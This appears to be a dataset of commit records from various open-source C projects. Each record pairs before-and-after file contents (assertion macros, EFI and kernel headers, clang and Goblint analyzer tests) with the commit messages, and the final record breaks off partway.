{"commit":"8c6b30c2bdbdca9d78fcd7a4cde15e5aa6802029","old_file":"safe.h","new_file":"safe.h","old_contents":"#ifndef SAFE_H\n#define SAFE_H\n\n#include \"debug.h\"\n\n#ifndef DISABLE_SAFE\n\n#define SAFE_STRINGIFY(x) #x\n#define SAFE_TOSTRING(x) SAFE_STRINGIFY(x)\n#define SAFE_AT __FILE__ \":\" SAFE_TOSTRING(__LINE__) \": \"\n\n#define SAFE_ASSERT(cond) do { \\\n  if (!(cond)) { \\\n    DEBUG_DUMP(0, \"error: \" SAFE_AT \"%m\"); \\\n    DEBUG_BREAK(!(cond)); \\\n  } \\\n} while (0)\n\n#else\n#define SAFE_ASSERT(...)\n#endif\n\n#include <stdint.h>\n\n#define SAFE_NNCALL(call) do { \\\n  intptr_t ret = (intptr_t) (call); \\\n  SAFE_ASSERT(ret >= 0); \\\n} while (0)\n\n#define SAFE_NZCALL(call) do { \\\n  intptr_t ret = (intptr_t) (call); \\\n  SAFE_ASSERT(ret != 0); \\\n} while (0)\n\n#endif \/* end of include guard: SAFE_H *\/\n","new_contents":"#ifndef SAFE_H\n#define SAFE_H\n\n#include \"debug.h\"\n\n#ifndef DISABLE_SAFE\n\n#define SAFE_STRINGIFY(x) #x\n#define SAFE_TOSTRING(x) SAFE_STRINGIFY(x)\n#define SAFE_AT __FILE__ \":\" SAFE_TOSTRING(__LINE__) \": \"\n\n#define SAFE_ASSERT(cond) do { \\\n  if (!(cond)) { \\\n    DEBUG_DUMP(0, \"error: \" SAFE_AT \"%m\"); \\\n    DEBUG_BREAK(!(cond)); \\\n  } \\\n} while (0)\n\n#else\n#define SAFE_ASSERT(...)\n#endif\n\n#include <stdint.h>\n\n#define SAFE_NNCALL(call) do { \\\n  intptr_t ret = (intptr_t) (call); \\\n  SAFE_ASSERT(ret >= 0); \\\n} while (0)\n\n#define SAFE_NZCALL(call) do { \\\n  intptr_t ret = (intptr_t) (call); \\\n  SAFE_ASSERT(ret != 0); \\\n} while (0)\n\n#define SAFE_RZCALL(call) do { \\\n  intptr_t ret = (intptr_t) (call); \\\n  SAFE_ASSERT(ret == 0); \\\n} while (0)\n\n#endif \/* end of include guard: SAFE_H *\/\n","subject":"Add SAFE_RZCALL to wrap calls that returns zero.","message":"Add SAFE_RZCALL to wrap calls that returns zero.\n","lang":"C","license":"mit","repos":"chaoran\/fibril,chaoran\/fibril,chaoran\/fibril"}
{"commit":"6868d0ea1dceb593d56d2302a46849791d3f2164","old_file":"Include\/Protocol\/DarwinKernel.h","new_file":"Include\/Protocol\/DarwinKernel.h","old_contents":"","new_contents":"\/** @file\n  Copyright (C) 2016 CupertinoNet.  All rights reserved.<BR>\n\n  Licensed under the Apache License, Version 2.0 (the \"License\");\n  you may not use this file except in compliance with the License.\n  You may obtain a copy of the License at\n\n      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n  Unless required by applicable law or agreed to in writing, software\n  distributed under the License is distributed on an \"AS IS\" BASIS,\n  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  See the License for the specific language governing permissions and\n  limitations under the License.\n**\/\n\n#ifndef DARWIN_KERNEL_H_\n#define DARWIN_KERNEL_H_\n\n\/\/ Related definitions\n\n\/\/ DARWIN_KERNEL_IMAGE_TYPE\nenum {\n  DarwinKernelImageTypeMacho       = 0,\n  DarwinKernelImageTypeHibernation = 1\n};\n\ntypedef UINTN DARWIN_KERNEL_IMAGE_TYPE;\n\n\/\/ DARWIN_KERNEL_HEADER\ntypedef union {\n  MACH_HEADER               *MachHeader;\n  MACH_HEADER_64            *MachHeader64;\n  IO_HIBERNATE_IMAGE_HEADER *HibernationImageHeader;\n} DARWIN_KERNEL_HEADER;\n\n\/\/ DARWIN_KERNEL_INFORMATION\ntypedef struct {\n  DARWIN_KERNEL_IMAGE_TYPE ImageType;\n  DARWIN_KERNEL_HEADER     Image;\n} DARWIN_KERNEL_INFORMATION;\n\n\/\/ DARWIN_KERNEL_DISCOVERED_CALLBACK\ntypedef\nVOID\n(EFIAPI *DARWIN_KERNEL_DISCOVERED_CALLBACK)(\n  IN XNU_PHYSICAL_ADDRESS  KernelEntry\n  );\n\n\/\/ DARWIN_KERNEL_ENTRY_CALLBACK\ntypedef\nVOID\n(EFIAPI *DARWIN_KERNEL_ENTRY_CALLBACK)(\n  VOID\n  );\n\n\/\/ Protocol definition\n\ntypedef DARWIN_KERNEL_PROTOCOL DARWIN_KERNEL_PROTOCOL;\n\n\/\/ DARWIN_KERNEL_ADD_KERNEL_DISCOVERED_CALLBACK\ntypedef\nEFI_STATUS\n(EFIAPI *DARWIN_KERNEL_ADD_KERNEL_DISCOVERED_CALLBACK)(\n  IN DARWIN_KERNEL_PROTOCOL             *This,\n  IN DARWIN_KERNEL_DISCOVERED_CALLBACK  NotifyFunction\n  );\n\n\/\/ DARWIN_KERNEL_ADD_KERNEL_ENTRY_CALLBACK\ntypedef\nEFI_STATUS\n(EFIAPI *DARWIN_KERNEL_ADD_KERNEL_ENTRY_CALLBACK)(\n  IN DARWIN_KERNEL_PROTOCOL        *This,\n  IN DARWIN_KERNEL_ENTRY_CALLBACK  NotifyFunction\n  );\n\n\/\/ DARWIN_KERNEL_GET_IMAGE_INFORMATION\ntypedef\nEFI_STATUS\n(EFIAPI *DARWIN_KERNEL_GET_IMAGE_INFORMATION)(\n  IN  DARWIN_KERNEL_PROTOCOL     *This,\n  OUT DARWIN_KERNEL_INFORMATION  *KernelInformation\n  );\n\n\/\/ DARWIN_KERNEL_PROTOCOL\nstruct DARWIN_KERNEL_PROTOCOL {\n  UINTN                                        Revision;\n  DARWIN_KERNEL_ADD_KERNEL_DISCOVERED_CALLBACK AddKernelDiscoveredCallback;\n  DARWIN_KERNEL_ADD_KERNEL_ENTRY_CALLBACK      AddKernelEntryCallback;\n  DARWIN_KERNEL_GET_IMAGE_INFORMATION          GetImageInformation;\n};\n\n#endif \/\/ DARWIN_KERNEL_H_\n","subject":"Add proof-of-concept Kernel protocol header.","message":"Add proof-of-concept Kernel protocol header.\n","lang":"C","license":"apache-2.0","repos":"CupertinoNet\/CupertinoSupportPkg,CupertinoNet\/CupertinoSupportPkg"}
{"commit":"78d601ccff5ceefcf7c2de452bb1df8375436eb5","old_file":"tests\/regression\/15-deadlock\/12-ase16_nodeadlock.c","new_file":"tests\/regression\/15-deadlock\/12-ase16_nodeadlock.c","old_contents":"","new_contents":"\/\/ PARAM: --set ana.activated[+] deadlock --set ana.activated[+] threadJoins\n\/\/ From https:\/\/arxiv.org\/abs\/1607.06927\n#include <pthread.h>\n\nint x;\npthread_mutex_t m1 = PTHREAD_MUTEX_INITIALIZER;\npthread_mutex_t m2 = PTHREAD_MUTEX_INITIALIZER;\npthread_mutex_t m3 = PTHREAD_MUTEX_INITIALIZER;\npthread_mutex_t m4 = PTHREAD_MUTEX_INITIALIZER;\npthread_mutex_t m5 = PTHREAD_MUTEX_INITIALIZER;\n\nvoid func1() {\n  x = 0; \/\/ RACE!\n}\n\nint func2(int a) {\n  pthread_mutex_lock(&m5); \/\/ TODO NODEADLOCK (thread joined)\n  pthread_mutex_lock(&m4); \/\/ TODO NODEADLOCK (thread joined)\n  if (a)\n    x = 3; \/\/ NORACE (thread joined)\n  else\n    x = 4;\n  pthread_mutex_unlock(&m4);\n  pthread_mutex_unlock(&m5);\n  return 0;\n}\n\nvoid *thread() {\n  pthread_mutex_lock(&m1); \/\/ NODEADLOCK\n  pthread_mutex_lock(&m2); \/\/ TODO NODEADLOCK (common m1)\n  pthread_mutex_lock(&m3); \/\/ TODO NODEADLOCK (common m1)\n  x = 1; \/\/ NORACE (thread joined)\n  pthread_mutex_unlock(&m3);\n  pthread_mutex_unlock(&m2);\n  pthread_mutex_unlock(&m1);\n\n  pthread_mutex_lock(&m4); \/\/ TODO NODEADLOCK (thread joined)\n  pthread_mutex_lock(&m5); \/\/ TODO NODEADLOCK (thread joined)\n  x = 2; \/\/ RACE!\n  pthread_mutex_unlock(&m5);\n  pthread_mutex_unlock(&m4);\n\n  return NULL;\n}\n\nint main() {\n  pthread_t tid;\n\n  pthread_create(&tid, NULL, thread, NULL);\n\n  pthread_mutex_lock(&m1); \/\/ NODEADLOCK\n  pthread_mutex_lock(&m3); \/\/ TODO NODEADLOCK (common m1)\n  pthread_mutex_lock(&m2); \/\/ TODO NODEADLOCK (common m1)\n  func1();\n  pthread_mutex_unlock(&m2);\n  pthread_mutex_unlock(&m3);\n  pthread_mutex_unlock(&m1);\n\n  pthread_join(tid, NULL);\n\n  int r;\n  r = func2(5);\n\n  return 0;\n}\n","subject":"Add deadlock non-concurrency example from Kroenig et al ASE16","message":"Add deadlock non-concurrency example from Kroenig et al ASE16\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"cccd3fafcffa318fa783f857f84b5545028daca2","old_file":"src\/pubkey\/if_algo\/if_op.h","new_file":"src\/pubkey\/if_algo\/if_op.h","old_contents":"\/*************************************************\n* IF Operations Header File                      *\n* (C) 1999-2008 Jack Lloyd                       *\n*************************************************\/\n\n#ifndef BOTAN_IF_OP_H__\n#define BOTAN_IF_OP_H__\n\n#include <botan\/bigint.h>\n#include <botan\/pow_mod.h>\n#include <botan\/reducer.h>\n\nnamespace Botan {\n\n\/*************************************************\n* IF Operation                                   *\n*************************************************\/\nclass BOTAN_DLL IF_Operation\n   {\n   public:\n      virtual BigInt public_op(const BigInt&) const = 0;\n      virtual BigInt private_op(const BigInt&) const = 0;\n      virtual IF_Operation* clone() const = 0;\n      virtual ~IF_Operation() {}\n   };\n\n\/*************************************************\n* Default IF Operation                           *\n*************************************************\/\nclass Default_IF_Op : public IF_Operation\n   {\n   public:\n      BigInt public_op(const BigInt& i) const\n         { return powermod_e_n(i); }\n      BigInt private_op(const BigInt&) const;\n\n      IF_Operation* clone() const { return new Default_IF_Op(*this); }\n\n      Default_IF_Op(const BigInt&, const BigInt&, const BigInt&,\n                    const BigInt&, const BigInt&, const BigInt&,\n                    const BigInt&, const BigInt&);\n   private:\n      Fixed_Exponent_Power_Mod powermod_e_n, powermod_d1_p, powermod_d2_q;\n      Modular_Reducer reducer;\n      BigInt c, q;\n   };\n\n}\n\n#endif\n","new_contents":"\/*************************************************\n* IF Operations Header File                      *\n* (C) 1999-2008 Jack Lloyd                       *\n*************************************************\/\n\n#ifndef BOTAN_IF_OP_H__\n#define BOTAN_IF_OP_H__\n\n#include <botan\/bigint.h>\n#include <botan\/pow_mod.h>\n#include <botan\/reducer.h>\n\nnamespace Botan {\n\n\/*************************************************\n* IF Operation                                   *\n*************************************************\/\nclass BOTAN_DLL IF_Operation\n   {\n   public:\n      virtual BigInt public_op(const BigInt&) const = 0;\n      virtual BigInt private_op(const BigInt&) const = 0;\n      virtual IF_Operation* clone() const = 0;\n      virtual ~IF_Operation() {}\n   };\n\n\/*************************************************\n* Default IF Operation                           *\n*************************************************\/\nclass BOTAN_DLL Default_IF_Op : public IF_Operation\n   {\n   public:\n      BigInt public_op(const BigInt& i) const\n         { return powermod_e_n(i); }\n      BigInt private_op(const BigInt&) const;\n\n      IF_Operation* clone() const { return new Default_IF_Op(*this); }\n\n      Default_IF_Op(const BigInt&, const BigInt&, const BigInt&,\n                    const BigInt&, const BigInt&, const BigInt&,\n                    const BigInt&, const BigInt&);\n   private:\n      Fixed_Exponent_Power_Mod powermod_e_n, powermod_d1_p, powermod_d2_q;\n      Modular_Reducer reducer;\n      BigInt c, q;\n   };\n\n}\n\n#endif\n","subject":"Add BOTAN_DLL macro to Default_IF_Op","message":"Add BOTAN_DLL macro to Default_IF_Op\n","lang":"C","license":"bsd-2-clause","repos":"randombit\/botan,webmaster128\/botan,randombit\/botan,Rohde-Schwarz-Cybersecurity\/botan,randombit\/botan,Rohde-Schwarz-Cybersecurity\/botan,webmaster128\/botan,webmaster128\/botan,randombit\/botan,Rohde-Schwarz-Cybersecurity\/botan,Rohde-Schwarz-Cybersecurity\/botan,Rohde-Schwarz-Cybersecurity\/botan,Rohde-Schwarz-Cybersecurity\/botan,webmaster128\/botan,randombit\/botan,webmaster128\/botan"}
{"commit":"e2090ddb0dcd238d265538f9217f24b3780033e8","old_file":"src\/search\/psdd\/projection.h","new_file":"src\/search\/psdd\/projection.h","old_contents":"\/* -*- mode:linux -*- *\/\n\/**\n * \\file projection.h\n *\n *\n *\n * \\author Ethan Burns\n * \\date 2008-10-15\n *\/\n\n#if !defined(_PROJECTION_H_)\n#define _PROJECTION_H_\n\n#include <vector>\n\n#include \"..\/state.h\"\n\nusing namespace std;\n\n\/**\n * An abstract projection function class.\n *\/\nclass Projection {\npublic:\n\tvirtual ~Projection();\n\n\t\/**\n\t * Project a state, returning an integer that represents the\n\t * NBlock that the state projects into.\n\t *\/\n\tvirtual unsigned int project(const State *s) = 0;\n\n\t\/**\n\t * Get the number of NBlocks that will be used in this\n\t * projection.  NBlocks will be numbered from 0..num_nblocks()\n\t *\/\n\tvirtual unsigned int get_num_nblocks(void) = 0;\n\n\t\/**\n\t * Get the list of successor NBlock numbers.\n\t *\/\n\tvirtual vector<unsigned int>get_successors(const NBlock *b) = 0;\n\n\t\/**\n\t * Get the list of predecessor NBlock numbers.\n\t *\/\n\tvirtual vector<unsigned int>get_predecessors(const NBlock *b) = 0;\n};\n\n#endif\t\/* !_PROJECTION_H_ *\/\n","new_contents":"\/* -*- mode:linux -*- *\/\n\/**\n * \\file projection.h\n *\n *\n *\n * \\author Ethan Burns\n * \\date 2008-10-15\n *\/\n\n#if !defined(_PROJECTION_H_)\n#define _PROJECTION_H_\n\n#include <vector>\n\n#include \"..\/state.h\"\n\nusing namespace std;\n\n\/**\n * An abstract projection function class.\n *\/\nclass Projection {\npublic:\n\tvirtual ~Projection();\n\n\t\/**\n\t * Project a state, returning an integer that represents the\n\t * NBlock that the state projects into.\n\t *\/\n\tvirtual unsigned int project(const State *s) = 0;\n\n\t\/**\n\t * Get the number of NBlocks that will be used in this\n\t * projection.  NBlocks will be numbered from 0..num_nblocks()\n\t *\/\n\tvirtual unsigned int get_num_nblocks(void) = 0;\n\n\t\/**\n\t * Get the list of successor NBlock numbers.\n\t *\/\n\tvirtual vector<unsigned int>get_successors(unsigned int b) = 0;\n\n\t\/**\n\t * Get the list of predecessor NBlock numbers.\n\t *\/\n\tvirtual vector<unsigned int>get_predecessors(unsigned int b) = 0;\n};\n\n#endif\t\/* !_PROJECTION_H_ *\/\n","subject":"Remove the last reminints of NBlocks from Projection.","message":"Remove the last reminints of NBlocks from Projection.\n","lang":"C","license":"mit","repos":"eaburns\/pbnf,eaburns\/pbnf,eaburns\/pbnf,eaburns\/pbnf"}
{"commit":"cb32da0416b823b7f4b65e7e85d6cba16ca4d1e1","old_file":"include\/linux\/slob_def.h","new_file":"include\/linux\/slob_def.h","old_contents":"#ifndef __LINUX_SLOB_DEF_H\n#define __LINUX_SLOB_DEF_H\n\nvoid *kmem_cache_alloc_node(struct kmem_cache *, gfp_t flags, int node);\n\nstatic inline void *kmem_cache_alloc(struct kmem_cache *cachep, gfp_t flags)\n{\n\treturn kmem_cache_alloc_node(cachep, flags, -1);\n}\n\nvoid *__kmalloc_node(size_t size, gfp_t flags, int node);\n\nstatic inline void *kmalloc_node(size_t size, gfp_t flags, int node)\n{\n\treturn __kmalloc_node(size, flags, node);\n}\n\n\/**\n * kmalloc - allocate memory\n * @size: how many bytes of memory are required.\n * @flags: the type of memory to allocate (see kcalloc).\n *\n * kmalloc is the normal method of allocating memory\n * in the kernel.\n *\/\nstatic inline void *kmalloc(size_t size, gfp_t flags)\n{\n\treturn __kmalloc_node(size, flags, -1);\n}\n\nstatic inline void *__kmalloc(size_t size, gfp_t flags)\n{\n\treturn kmalloc(size, flags);\n}\n\n\/**\n * kzalloc - allocate memory. The memory is set to zero.\n * @size: how many bytes of memory are required.\n * @flags: the type of memory to allocate (see kcalloc).\n *\/\nstatic inline void *kzalloc(size_t size, gfp_t flags)\n{\n\treturn __kzalloc(size, flags);\n}\n\n#endif \/* __LINUX_SLOB_DEF_H *\/\n","new_contents":"#ifndef __LINUX_SLOB_DEF_H\n#define __LINUX_SLOB_DEF_H\n\nvoid *kmem_cache_alloc_node(struct kmem_cache *, gfp_t flags, int node);\n\nstatic inline void *kmem_cache_alloc(struct kmem_cache *cachep, gfp_t flags)\n{\n\treturn kmem_cache_alloc_node(cachep, flags, -1);\n}\n\nvoid *__kmalloc_node(size_t size, gfp_t flags, int node);\n\nstatic inline void *kmalloc_node(size_t size, gfp_t flags, int node)\n{\n\treturn __kmalloc_node(size, flags, node);\n}\n\n\/**\n * kmalloc - allocate memory\n * @size: how many bytes of memory are required.\n * @flags: the type of memory to allocate (see kcalloc).\n *\n * kmalloc is the normal method of allocating memory\n * in the kernel.\n *\/\nstatic inline void *kmalloc(size_t size, gfp_t flags)\n{\n\treturn __kmalloc_node(size, flags, -1);\n}\n\nstatic inline void *__kmalloc(size_t size, gfp_t flags)\n{\n\treturn kmalloc(size, flags);\n}\n\n#endif \/* __LINUX_SLOB_DEF_H *\/\n","subject":"Kill off duplicate kzalloc() definition.","message":"slob: Kill off duplicate kzalloc() definition.\n\nWith the slab zeroing allocations cleanups Christoph stubbed in a generic\nkzalloc(), which was missed on SLOB. Follow the SLAB\/SLUB changes and\nkill off the __kzalloc() wrapper that SLOB was using.\n\nReported-by: Jan Engelhardt <f383ed465f890d2e8ea864dd0c28cf8ec50a8942@computergmbh.de>\nSigned-off-by: Paul Mundt <38b52dbb5f0b63d149982b6c5de788ec93a89032@linux-sh.org>\nSigned-off-by: Linus Torvalds <69652caca27c8b940640ad396ab71f93cacec34f@linux-foundation.org>\n","lang":"C","license":"apache-2.0","repos":"TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"b670133b9e9fd7bce078674d782dad9d7c320f9d","old_file":"test\/Analysis\/array-struct.c","new_file":"test\/Analysis\/array-struct.c","old_contents":"\/\/ RUN: clang -checker-simple -verify %s &&\n\/\/ RUN: clang -checker-simple -analyzer-store-region -verify %s\n\nstruct s {\n  int data;\n  int data_array[10];\n};\n\ntypedef struct {\n  int data;\n} STYPE;\n\nvoid g1(struct s* p);\n\nvoid f(void) {\n  int a[10];\n  int (*p)[10];\n  p = &a;\n  (*p)[3] = 1;\n  \n  struct s d;\n  struct s *q;\n  q = &d;\n  q->data = 3;\n  d.data_array[9] = 17;\n}\n\nvoid f2() {\n  char *p = \"\/usr\/local\";\n  char (*q)[4];\n  q = &\"abc\";\n}\n\nvoid f3() {\n  STYPE s;\n}\n\nvoid f4() {\n  int a[] = { 1, 2, 3};\n  int b[3] = { 1, 2 };\n}\n\nvoid f5() {\n  struct s data;\n  g1(&data);\n}\n","new_contents":"\/\/ RUN: clang -checker-simple -verify %s &&\n\/\/ RUN: clang -checker-simple -analyzer-store-region -verify %s\n\nstruct s {\n  int data;\n  int data_array[10];\n};\n\ntypedef struct {\n  int data;\n} STYPE;\n\nvoid g1(struct s* p);\n\nvoid f(void) {\n  int a[10];\n  int (*p)[10];\n  p = &a;\n  (*p)[3] = 1;\n  \n  struct s d;\n  struct s *q;\n  q = &d;\n  q->data = 3;\n  d.data_array[9] = 17;\n}\n\nvoid f2() {\n  char *p = \"\/usr\/local\";\n  char (*q)[4];\n  q = &\"abc\";\n}\n\nvoid f3() {\n  STYPE s;\n}\n\nvoid f4() {\n  int a[] = { 1, 2, 3};\n  int b[3] = { 1, 2 };\n}\n\nvoid f5() {\n  struct s data;\n  g1(&data);\n}\n\nvoid f6() {\n  char *p;\n  p = __builtin_alloca(10); \n  p[1] = 'a';\n}\n","subject":"Add a test case for alloca().","message":"Add a test case for alloca().\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@59233 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"54993a9f4ebc279f5dac6754e61f2c6ea98dbb65","old_file":"src\/bin\/test_carousel.c","new_file":"src\/bin\/test_carousel.c","old_contents":"#include <Elementary.h>\n#ifdef HAVE_CONFIG_H\n# include \"elementary_config.h\"\n#endif\n#ifndef ELM_LIB_QUICKLAUNCH\nvoid\ntest_carousel(void *data __UNUSED__, Evas_Object *obj __UNUSED__, void *event_info __UNUSED__)\n{\n   Evas_Object *win, *bg;\n\n   win = elm_win_add(NULL, \"carousel\", ELM_WIN_BASIC);\n   elm_win_title_set(win, \"Carousel\");\n   elm_win_autodel_set(win, 1);\n\n   bg = elm_bg_add(win);\n   elm_win_resize_object_add(win, bg);\n   evas_object_size_hint_weight_set(bg, EVAS_HINT_EXPAND, EVAS_HINT_EXPAND);\n   evas_object_show(bg);\n\n   evas_object_resize(win, 320, 240);\n   evas_object_show(win);\n}\n#endif\n","new_contents":"#include <Elementary.h>\n#ifdef HAVE_CONFIG_H\n# include \"elementary_config.h\"\n#endif\n#ifndef ELM_LIB_QUICKLAUNCH\nvoid\ntest_carousel(void *data __UNUSED__, Evas_Object *obj __UNUSED__, void *event_info __UNUSED__)\n{\n   Evas_Object *win, *bg, *car;\n\n   win = elm_win_add(NULL, \"carousel\", ELM_WIN_BASIC);\n   elm_win_title_set(win, \"Carousel\");\n   elm_win_autodel_set(win, 1);\n\n   bg = elm_bg_add(win);\n   elm_win_resize_object_add(win, bg);\n   evas_object_size_hint_weight_set(bg, EVAS_HINT_EXPAND, EVAS_HINT_EXPAND);\n   evas_object_show(bg);\n\n   car = elm_carousel_add(win);\n   elm_win_resize_object_add(win, car);\n   evas_object_size_hint_weight_set(car, EVAS_HINT_EXPAND, EVAS_HINT_EXPAND);\n   elm_carousel_item_add(car, NULL, \"Item 1\", NULL, NULL);\n   elm_carousel_item_add(car, NULL, \"Item 2\", NULL, NULL);\n   elm_carousel_item_add(car, NULL, \"Tinga\", NULL, NULL);\n   elm_carousel_item_add(car, NULL, \"Item 4\", NULL, NULL);\n   evas_object_show(car);\n\n   evas_object_resize(win, 320, 240);\n   evas_object_show(win);\n}\n#endif\n","subject":"Add carousel to carousel test =P","message":"Add carousel to carousel test =P\n\nBut it's not working anyway.\n\n\n\nSVN revision: 53684\n","lang":"C","license":"lgpl-2.1","repos":"rvandegrift\/elementary,rvandegrift\/elementary,FlorentRevest\/Elementary,rvandegrift\/elementary,tasn\/elementary,tasn\/elementary,FlorentRevest\/Elementary,FlorentRevest\/Elementary,tasn\/elementary,rvandegrift\/elementary,tasn\/elementary,FlorentRevest\/Elementary,tasn\/elementary"}
{"commit":"8316f8d582c9a13bf1ebba93fe66d85a61430692","old_file":"test\/profile\/infinite_loop.c","new_file":"test\/profile\/infinite_loop.c","old_contents":"\/\/ RUN: %clang_pgogen  -O2 -o %t %s\n\/\/ RUN: env LLVM_PROFILE_FILE=%t.profraw %run %t\n\/\/ RUN: llvm-profdata show -function main -counts  %t.profraw| FileCheck  %s \n\nvoid exit(int);\nint g;\n__attribute__((noinline)) void foo()\n{\n  g++;\n  if (g==1000)\n    exit(0);\n}\n\n\nint main()\n{\n  while (1) {\n    foo();\n  }\n\n}\n\n\/\/ CHECK: Counters:\n\/\/ CHECK-NEXT:  main:\n\/\/ CHECK-NEXT:    Hash: {{.*}}\n\/\/ CHECK-NEXT:    Counters: 1\n\/\/ CHECK-NEXT:    Block counts: [1000]\n\n\n\n","new_contents":"\/\/ RUN: %clang_pgogen  -O2 -o %t %s\n\/\/ RUN: env LLVM_PROFILE_FILE=%t.profraw %run %t\n\/\/ RUN: llvm-profdata show -function main -counts  %t.profraw| FileCheck  %s \n\nvoid exit(int);\nint g;\n__attribute__((noinline)) void foo()\n{\n  g++;\n  if (g==1000)\n    exit(0);\n}\n\n\nint main()\n{\n  while (1) {\n    foo();\n  }\n\n}\n\n\/\/ CHECK: Counters:\n\/\/ CHECK-NEXT:  main:\n\/\/ CHECK-NEXT:    Hash: {{.*}}\n\/\/ CHECK-NEXT:    Counters: 2\n\/\/ CHECK-NEXT:    Block counts: [1000, 1]\n\n\n\n","subject":"Test case update for D40873","message":"Test case update for D40873\n\ngit-svn-id: c199f293c43da69278bea8e88f92242bf3aa95f7@320105 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt"}
{"commit":"e1986201336c472fe94095486457c431f1e6bd9f","old_file":"tests\/end_to_end_tests_remote.h","new_file":"tests\/end_to_end_tests_remote.h","old_contents":"#ifndef end_to_end_tests_remote_h_incl\n#define end_to_end_tests_remote_h_incl\n\n#include <cppunit\/TestFixture.h>\n#include <cppunit\/extensions\/HelperMacros.h>\n#include \"end_to_end_tests_base.h\"\n\nclass EndToEndTestsRemote : public EndToEndTestsBase {\n    static bool is_receiver;\n  \n    CPPUNIT_TEST_SUITE(EndToEndTestsRemote);\n    CPPUNIT_TEST(testRandomBytesReceivedCorrectly);\n    CPPUNIT_TEST(testDefaultIROBOrdering);\n    CPPUNIT_TEST_SUITE_END();\n\n  protected:\n    virtual void chooseRole();\n    virtual bool isReceiver();\n    \n    void testDefaultIROBOrdering();\n    void testThunks();\n};\n\n#endif\n","new_contents":"#ifndef end_to_end_tests_remote_h_incl\n#define end_to_end_tests_remote_h_incl\n\n#include <cppunit\/TestFixture.h>\n#include <cppunit\/extensions\/HelperMacros.h>\n#include \"end_to_end_tests_base.h\"\n\nclass EndToEndTestsRemote : public EndToEndTestsBase {\n    static bool is_receiver;\n  \n    CPPUNIT_TEST_SUITE(EndToEndTestsRemote);\n    CPPUNIT_TEST(testRandomBytesReceivedCorrectly);\n    CPPUNIT_TEST(testDefaultIROBOrdering);\n    CPPUNIT_TEST(testThunks);\n    CPPUNIT_TEST_SUITE_END();\n\n  protected:\n    virtual void chooseRole();\n    virtual bool isReceiver();\n    \n    void testDefaultIROBOrdering();\n    void testThunks();\n};\n\n#endif\n","subject":"Add the thunk test to the suite.","message":"Add the thunk test to the suite.\n\ngit-svn-id: 30f60abd488961f3df74c65f80d9d7b5813a1a78@653 1971e5c1-a347-0410-b49b-82492f0cf60c\n","lang":"C","license":"bsd-2-clause","repos":"brettdh\/libcmm,brettdh\/libcmm,brettdh\/libcmm,brettdh\/libcmm,brettdh\/libcmm"}
{"commit":"13f6248da3578c67dc472fb38e1abc621fc6f2ae","old_file":"src\/untrusted\/nacl\/pthread_initialize_minimal.c","new_file":"src\/untrusted\/nacl\/pthread_initialize_minimal.c","old_contents":"\/*\n * Copyright (c) 2012 The Native Client Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include <unistd.h>\n\n#include \"native_client\/src\/untrusted\/nacl\/nacl_irt.h\"\n#include \"native_client\/src\/untrusted\/nacl\/nacl_thread.h\"\n#include \"native_client\/src\/untrusted\/nacl\/tls.h\"\n\n\/*\n * This initialization happens early in startup with or without libpthread.\n * It must make it safe for vanilla newlib code to run.\n *\/\nvoid __pthread_initialize_minimal(size_t tdb_size) {\n  \/* Adapt size for sbrk. *\/\n  \/* TODO(robertm): this is somewhat arbitrary - re-examine). *\/\n  size_t combined_size = (__nacl_tls_combined_size(tdb_size) + 15) & ~15;\n\n  \/*\n   * Use sbrk not malloc here since the library is not initialized yet.\n   *\/\n  void *combined_area = sbrk(combined_size);\n\n  \/*\n   * Fill in that memory with its initializer data.\n   *\/\n  void *tp = __nacl_tls_initialize_memory(combined_area, tdb_size);\n\n  \/*\n   * Set %gs, r9, or equivalent platform-specific mechanism.  Requires\n   * a syscall since certain bitfields of these registers are trusted.\n   *\/\n  nacl_tls_init(tp);\n\n  \/*\n   * Initialize newlib's thread-specific pointer.\n   *\/\n  __newlib_thread_init();\n}\n","new_contents":"\/*\n * Copyright (c) 2012 The Native Client Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include <unistd.h>\n\n#include \"native_client\/src\/untrusted\/nacl\/nacl_irt.h\"\n#include \"native_client\/src\/untrusted\/nacl\/nacl_thread.h\"\n#include \"native_client\/src\/untrusted\/nacl\/tls.h\"\n\n\/*\n * This initialization happens early in startup with or without libpthread.\n * It must make it safe for vanilla newlib code to run.\n *\/\nvoid __pthread_initialize_minimal(size_t tdb_size) {\n  size_t combined_size = __nacl_tls_combined_size(tdb_size);\n\n  \/*\n   * Use sbrk not malloc here since the library is not initialized yet.\n   *\/\n  void *combined_area = sbrk(combined_size);\n\n  \/*\n   * Fill in that memory with its initializer data.\n   *\/\n  void *tp = __nacl_tls_initialize_memory(combined_area, tdb_size);\n\n  \/*\n   * Set %gs, r9, or equivalent platform-specific mechanism.  Requires\n   * a syscall since certain bitfields of these registers are trusted.\n   *\/\n  nacl_tls_init(tp);\n\n  \/*\n   * Initialize newlib's thread-specific pointer.\n   *\/\n  __newlib_thread_init();\n}\n","subject":"Remove unnecessary rounding 